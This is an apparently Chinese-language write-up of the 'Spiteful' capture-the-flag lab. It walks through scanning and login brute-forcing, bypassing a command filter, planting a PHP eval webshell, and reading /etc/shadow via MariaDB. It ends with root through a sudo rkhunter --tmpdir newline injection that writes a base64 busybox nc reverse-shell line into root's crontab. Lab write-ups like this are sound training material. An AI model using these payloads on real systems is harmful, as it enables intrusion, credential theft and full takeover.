MazeSec Spiteful
# 存活主机扫描
arp-scan 扫描网段,发现目标主机
┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth2 192.168.6.0/24
192.168.6.170 08:00:27:56:42:bb (Unknown)
2
3
4
目标IP:192.168.6.170
# TCP 全端口扫描
TCP 全端口扫描
┌──(npc㉿kali)-[~/mazesec/spiteful]
└─$ nmap -p- -sT -sV 192.168.6.170
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0 (protocol 2.0)
80/tcp open http nginx
2
3
4
5
6
开放了 22、80 端口
# 80 端口目录扫描
使用 gobuster 进行目录扫描
┌──(npc㉿kali)-[~/mazesec/spiteful]
└─$ gobuster dir -u http://192.168.6.170/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak
/index.php (Status: 200) [Size: 4002]
/login.php (Status: 200) [Size: 1801]
/forgot.php (Status: 200) [Size: 1733]
/dashboard.php (Status: 302) [Size: 0] [--> login.php]
2
3
4
5
6
7
8
存在 /index.php、/login.php、/forgot.php、/dashboard.php 页面
# 80 端口服务探测
访问首页,猜测存在用户 TODD、LL104567,大小写未知

在 forgot.php 页面,尝试重置任意用户,提示联系 ll104567 管理员,这里可以大概猜测出管理员 TODD、LL104567 用户名可能是小写

登录页面抓包放到 burp intruder 模块,使用 rockyou 字典

爆破出 ll104567 用户密码为 111111

# 命令执行 GetShell
进入 dashboard.php 页面,测试出可以执行一些命令,如 id、pwd、uname 等

执行其他命令会报错

尝试 busybox 反弹shell,发现靶机可以出网,不过有拦截

猜测老夜在后端专门写了匹配了 ip 的正则,还会拦截管道符重定向符 |、> 等等

最终发现,存在绕过姿势:使用允许的命令 id、pwd、uname 等等,拼接换行符 %0a,可以执行任意命令

但是如果你的 payload 里有类似 ... nc x.x.x.x ... 这种形式的字符串,waf 还是会叉你,同时不能有管道符、重定向符

kali 写入 webshell 文件,靶机下载即可
echo '<?php eval($_POST[1]);?>' > 1.txt
因为会匹配 IP,所以选择使用 IP 的10进制形式格式绕过,https://www.metools.info/other/ipconvert162.html

弹个 shell

# 稳定 shell
优化一个反弹shell,可以让 shell 有更多的交互,不会在 sudo -l、vim 等命令下卡死,方向键不会乱跳
靶机比较精简,上传个 socat 二进制文件,kali 常备静态编译好的 socat:
wget http://192.168.6.101/socat -O /tmp/socat
chmod +x /tmp/socat
2
使用 socat 稳定shell
kali:
socat file:`tty`,raw,echo=0 tcp-listen:6666
靶机:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.101:6666
可以拿到一个比较舒服的 shell 环境
# ssh 登录 todd
查看 login.php,发现 todd ssh凭证 todd:t0dd@123
<?php
session_start();
$dbUsr = [
'todd' => 't0dd@123',
'll104567' => '111111'
];
2
3
4
5
6
7

# mysql 凭证获取
todd 可以以 rkhunter 身份执行一个脚本 /opt/web/a.sh,开了一个内置服务器在 8080 端口


一个登录框,使用 burp intruder 爆破,爆破出 admin:raprap


在进程里,有个扎眼的 mysql 服务,一不小心使用 admin:raprap 登录成功


读取到 root 哈希
MariaDB [(none)]> select user,password from mysql.user;
+-------------+-------------------------------------------+
| User | Password |
+-------------+-------------------------------------------+
| mariadb.sys | |
| root | *41A2DA7437F678E97120F5B7E7C9B76B3429D257 |
| mysql | invalid |
| PUBLIC | |
| admin | *0DD621B4732058591E306B53E0CB96066A252CFF |
+-------------+-------------------------------------------+
5 rows in set (0.012 sec)
2
3
4
5
6
7
8
9
10
11
cmd5 找到对应明文

root:jason04
但是暂时没什么用
# 组信息
靶机查看组信息,发现 mysql 用户属于 shadow 组
shadow:x:42:mysql
todd:x:1000:
rkhunter:x:1001:
mysql:x:102:mysql
2
3
4
/etc/shadow 的文件权限,shadow 组可读,mysql 用户可以读取 /etc/shadow 文件
spiteful:~$ ls -alh /etc/shadow
-rw-r----- 1 root shadow 717 Nov 21 14:57 /etc/shadow
2
# 再度重相逢
回头看 mysql,测试发现 select load_file('/etc/shadow') 返回 NULL,load data infile 可以读取到 /etc/shadow 文件内容
MariaDB [(none)]> select load_file('/etc/shadow');
+--------------------------+
| load_file('/etc/shadow') |
+--------------------------+
| NULL |
+--------------------------+
1 row in set (0.000 sec)
2
3
4
5
6
7
-- 创建临时表
CREATE TABLE mazesec_core.tmp_shadow (line TEXT);
-- 加载数据
LOAD DATA INFILE '/etc/shadow' INTO TABLE mazesec_core.tmp_shadow;
MariaDB [(none)]> select * from mazesec_core.tmp_shadow;
+----------------------------------------------------------------------------------------------------------------------------------------+
| line |
+----------------------------------------------------------------------------------------------------------------------------------------+
| root:$6$xA3MLM7qaAix4orA$UyEIaKdpJfIxBAsXQQLO6sALP79EQTLBFjBtYRPr9b2fVxYRyQBfqXl4fKfqn6eJXBomh3wldQp/4NO8ql2mt.:20413:0::::: |
| bin:!::0::::: |
| daemon:!::0::::: |
| lp:!::0::::: |
| sync:!::0::::: |
| shutdown:!::0::::: |
| halt:!::0::::: |
| mail:!::0::::: |
| news:!::0::::: |
| uucp:!::0::::: |
| cron:!::0::::: |
| ftp:!::0::::: |
| sshd:!::0::::: |
| games:!::0::::: |
| ntp:!::0::::: |
| guest:!::0::::: |
| nobody:!::0::::: |
| klogd:!:20408:0:99999:7::: |
| todd:$6$fCTbQzCBKasVu4mG$n6Zwx9JjzE73ezRQ/ThbeklJENtvm44iZUXDTYEtloTCVXfg6.dMhtKL53mhDCXAABnh10ku06jSORDI5Fkco0:20413:0:99999:7::: |
| rkhunter:$6$gt7yBABSpQ1I0AQO$iTJUHLJbEKA39ltlAiH00jlljCBZJ10Pc4dWdhy3mXJwWt5XA3zzR7CeiYyiUVeoaMVpiBDL419BcGLHt6.Yj.:20413:0:99999:7::: |
| mysql:!:20413:0:99999:7::: |
| nginx:!:20413:0:99999:7::: |
+----------------------------------------------------------------------------------------------------------------------------------------+
22 rows in set (0.001 sec)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

爆破用户密码
将 shadow 内容写入到 all_hashes.txt 文件
cat > all_hashes.txt << 'EOF'
root:$6$xA3MLM7qaAix4orA$UyEIaKdpJfIxBAsXQQLO6sALP79EQTLBFjBtYRPr9b2fVxYRyQBfqXl4fKfqn6eJXBomh3wldQp/4NO8ql2mt.
todd:$6$fCTbQzCBKasVu4mG$n6Zwx9JjzE73ezRQ/ThbeklJENtvm44iZUXDTYEtloTCVXfg6.dMhtKL53mhDCXAABnh10ku06jSORDI5Fkco0
rkhunter:$6$gt7yBABSpQ1I0AQO$iTJUHLJbEKA39ltlAiH00jlljCBZJ10Pc4dWdhy3mXJwWt5XA3zzR7CeiYyiUVeoaMVpiBDL419BcGLHt6.Yj.
EOF
2
3
4
5
john 破解密码,拿到 rkhunter 用户密码 markhunter
┌──(npc㉿kali)-[~/mazesec/spiteful]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt all_hashes.txt
markhunter (rkhunter)
2
3
4
rkhunter:markhunter
# rkhunter 读取文件
rkhunter 用户可以使用 sudo 执行 rkhunter

rkhunter的参数里有 -C --configfile,可以指定配置文件,检查配置文件内容
spiteful:~$ sudo -u root rkhunter -C --configfile /etc/passwd
通过报错,把内容读出来,比较遗憾,flag不是 root.txt,要拿 shell 了

# rkhunter 提权思路
rkhunter 有 -l 参数,可以写一个日志文件,在测试过程,我发现日志有一行似乎可控
spiteful:/tmp$ sudo -u root rkhunter -c --novl --noappend-log -l /tmp/1111
[ Rootkit Hunter version 1.4.6 ]
Checking system commands...
Performing 'strings' command checks
^C
spiteful:/tmp$ cat /tmp/1111
[03:51:33] Running Rootkit Hunter version 1.4.6 on spiteful
[03:51:33]
[03:51:33] Info: Start date is Tue Nov 25 03:51:33 UTC 2025
[03:51:33]
[03:51:33] Checking configuration file and command-line options...
[03:51:33] Info: Detected operating system is 'Linux'
[03:51:33] Info: Found O/S name: Alpine Linux v3.22
[03:51:33] Info: Command line is /usr/local/bin/rkhunter -c --novl --noappend-log -l /tmp/1111
[03:51:33] Info: Environment shell is /bin/sh; rkhunter is using busybox
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在倒数第二行,比较吸引我,他会把命令行参数写到日志里,如果能在参数里换行,就能构造出一行定时任务格式
[03:51:33] Info: Command line is /usr/local/bin/rkhunter -c --novl --noappend-log -l /tmp/1111
控制一行内容有什么用?
定时任务文件某一行格式错了,只会跳过那一行,不会影响其他正常行继续执行。
尝试控制其他参数,创建换行条件
spiteful:/tmp$ mkdir $'/tmp/\n111'
spiteful:/tmp$ touch 1.txt
spiteful:/tmp$ sudo -u root rkhunter -c --novl --noappend-log -l /tmp/1.txt --tmpdir $'/tmp/\n111'
[ Rootkit Hunter version 1.4.6 ]
Checking system commands...
Performing 'strings' command checks
^C
spiteful:/tmp$ cat /tmp/1.txt
[03:56:19] Running Rootkit Hunter version 1.4.6 on spiteful
[03:56:19]
[03:56:19] Info: Start date is Tue Nov 25 03:56:19 UTC 2025
[03:56:19]
[03:56:19] Checking configuration file and command-line options...
[03:56:19] Info: Detected operating system is 'Linux'
[03:56:19] Info: Found O/S name: Alpine Linux v3.22
[03:56:19] Info: Command line is /usr/local/bin/rkhunter -c --novl --noappend-log -l /tmp/1.txt --tmpdir /tmp/
111
[03:56:19] Info: Environment shell is /bin/sh; rkhunter is using busybox
[03:56:19] Info: Using configuration file '/etc/rkhunter.conf'
[03:56:19] Info: Installation directory is '/usr/local'
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

好了,到此为止,你应该发现,我已经可以完全控制日志文件里的一行了,日志里出现了单行的 111
通过分析rkhunter的参数,我选择下面这几个参数:
-c, --check Check the local system(检查本地系统,让rkhunter运行起来)
-l, --logfile [file] Write to a logfile(写入日志文件)
(Default is /var/log/rkhunter.log)
--noappend-log Do not append to the logfile, overwrite it(不追加日志,覆盖日志)
--novl, --no-verbose-logging No verbose logging( 无详细日志记录)
--tmpdir <directory> Use the specified temporary directory(使用指定的临时目录)
2
3
4
5
6
创建一个 定时任务 格式的目录:
echo 'busybox nc 192.168.6.101 4444 -e bash'|base64
YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=
mkdir -p $'/tmp/\n* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
2
3
4
有一点你需要发现,--tmpdir 参数指定的目录,在 rkhunter 运行时,对目录名里出现的空格会出现不一致的效果,rkhunter 认为目录不应该出现空格,他会检查是否存在去除空格后的目录,给他单独创建,符合条件即可
sudo -u root rkhunter --check --novl --noappend-log -l /tmp/1.txt --tmpdir '/tmp/
* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
2

把报错信息里没有空格的目录创建出来即可
mkdir -p $'/tmp/\n*****bash-cechoYnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=|base64-d|bash'
再次运行
sudo -u root rkhunter --check --novl --noappend-log -l /tmp/1.txt --tmpdir '/tmp/
* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
2
查看日志内容,可以看到已经构造出了一行定时任务

现在可以尝试写到定时任务了
靶机定时任务位置 /etc/crontabs/
spiteful:/tmp$ ps -ef | grep -E 'crond|cron'
2178 root 0:00 /usr/sbin/crond -c /etc/crontabs -f
2
常见定时任务文件位置与格式
busybox crond Alpine/容器精简系统 /etc/crontabs/<user>
crond (Cronie) CentOS / RHEL 系列 /etc/crontab + /etc/cron.d/*
cron / Vixie cron Debian / Ubuntu 系列 /etc/crontab + /etc/cron.d/*
2
3
当前就属于 busybox crond,写入 /etc/crontabs/root 文件
# payload 目录名
mkdir -p $'/tmp/\n* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
# 创建去除空格的目录
mkdir -p $'/tmp/\n*****bash-cechoYnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=|base64-d|bash'
# 写入定时任务
sudo -u root rkhunter --check --novl --noappend-log -l /etc/crontabs/root --tmpdir '/tmp/
* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
2
3
4
5
6
7

等待一分钟,kali 监听端口,拿到 root shell

man,goodnight!
